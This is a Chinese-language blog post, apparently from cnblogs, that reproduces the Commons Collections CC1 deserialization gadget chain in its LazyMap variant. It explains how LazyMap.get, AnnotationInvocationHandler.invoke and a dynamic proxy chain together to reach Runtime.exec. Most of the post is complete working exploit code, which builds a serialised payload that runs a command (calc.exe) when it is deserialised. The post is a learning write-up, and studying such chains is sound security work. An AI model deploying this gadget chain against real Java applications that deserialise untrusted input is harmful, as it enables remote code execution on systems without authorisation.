关于cc1链-lazymap版复现
思路,在cc链中最重要的其实是transform方法;其反射调用执行的性质+transformchain性质,导致可以通过构造反射调用链子,也就是Runtime.exec的反射链进行命令执行;
所以关键地方在于找到transform方法;
在lazymap中的get方法中的factor调用了transform;在lazymap的构造函数中我们可以看到factor是作为key(键)值传入;且触发条件是lazymap对象中没有这个键值时调用transform方法

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]
{String.class,Class[].class},
new Object[]
{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap =LazyMap.decorate(innerMap, transformerChain);//由于不能直接调用构造函数,因此使用decorate获取其对象
outerMap.get("man");

可以看到这里执行了calc.exe

因此接下来看谁调用了哪个类调用了get方法;
有很多;这里 ysoserial开发者使用了AnnotationInvocationHandler中的invoke方法调用了get

这个memberValues是其构造函数的可控参数,这里需要另其为LazyMap对象

接下来继续找谁可以调用invoke方法;
这里开发者很巧妙地想到了动态代理机制:使用动态代理时;被代理对象的任意方法被调用时会转发到代理对象的invoke方法中;
而AnnotationInvocationHandler是一个代理类且AnnotationInvocationHandler作为动态代理的处理器;他实现了InvocationHandler接口;导致它的实例对象执行任意方法会转发到它的invoke方法中
也就是说AnnotationInvocationHandler作为处理器去被代理类的执行任意方法,会转发到它的invoke方法上;也就是说执行Lazymap的任意方法会转发到它的invoke方法中,从上文中我们可以看到AnnotationInvocationHandler的invoke中存在一些方法不会触发;因此需要一点绕过;只需要调用的方法不是
toString,hashCode,hashCode即可
payload
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]
{String.class,Class[].class},
new Object[]
{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),
};
Transformer transformerChain = neW ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap =(LazyMap) LazyMap.decorate(innerMap, transformerChain);
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler ih=(InvocationHandler)constructor.newInstance(Retention.class,outerMap);
Map mapproxy=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},ih);
mapproxy.clear();
可以看到执行了命令;

但在反序列化过程中无法进行显示调用,需要进行自动执行;
而在Lazymap和AnnotationInvocationHandler的readobject中我们看到都调用了entryset方法

也就是说执行AnnotationInvocationHandler的readobject会调用entryset
这时候我们需要让memberValues=mapproxy;
从上文可以知道memberValues是在构造函数中进行赋值,进行以下构造
此时我们的完整payload为
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]
{String.class,Class[].class},
new Object[]
{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap =(LazyMap) LazyMap.decorate(innerMap, transformerChain);//构造链子,使调用get时,触发transformerChain->transform(key)
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler ih=(InvocationHandler)constructor.newInstance(Retention.class,outerMap);//连接invoke{memberValues->get}
Map mapproxy=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},ih);//转发到ih的invoke
Object obj=constructor.newInstance(Target.class,mapproxy);//触发entrySet
//进行对象序列化
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream oss=new ObjectOutputStream(outputStream);
oss.writeObject(obj);
oss.close();
System.out.println(outputStream);
//进行反序列化
ObjectInputStream objectInputStream=new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
Object object=objectInputStream.readObject();
总结一下:这个版本的cc1链使用了LazyMap的get方法进行触发,为了触发这个get方法,引入了AnnotationInvocationHandler的invoke方法;为了触发invoke,引入了动态代理;执行LazyMap的entryset方法触发invoke;为了在反序列化时自动触发;使用AnnotationInvocationHandler进代理对象进行包装,使其执行LazyMap->entryset后执行AnnotationInvocationHandler->invoke->LazyMap->get后执行 ChainedTransformer->transformerChain->ConstantTransformer(Runtime.class)->InvokerTransformer(getMethod)->InvokerTransformer(getRuntime)->InvokerTransformer(invboke)->InvokerTransformer(getMethod)-> InvokerTransformer(calc.exe)
比较直观一点的gadget写法
+------------------------+ +-------------------------+
| AnnotationInvocation | | Dynamic Proxy (Map) |
| Handler.readObject() | |-------------------------|
|-------------------------| 调用 | memberValues.entrySet() |
| memberValues (代理Map) | -----> | → 转发到InvocationHandler|
+------------------------+ +-------------------------+
| ↓
| +-------------------------+
| | InvocationHandler.invoke|
| |-------------------------|
| | LazyMap.get("entrySet") |
| +-------------------------+
| ↓
| +-------------------------+
+------------------------| ChainedTransformer链 |
|-------------------------|
| 反射调用Runtime.exec() |
+-------------------------+

手法很巧妙;相对于TransformedMap版本通过setvalue触发 checkSetValue机制;这里使用entryset触发invoke,再触发get,中间使用了动态代理作为桥梁;
使得执行entryset时会转发到AnnotationInvocationHandler的invoke中,我认为这个思路对于大部分使用invoke触发过程的链子都是适用de6
参考:
p牛的知识星球->代码审计->java系列文章;
+
https://www.cnblogs.com/leyilea/p/18426165?app_lang=zh-CN
posted on
浙公网安备 33010602011771号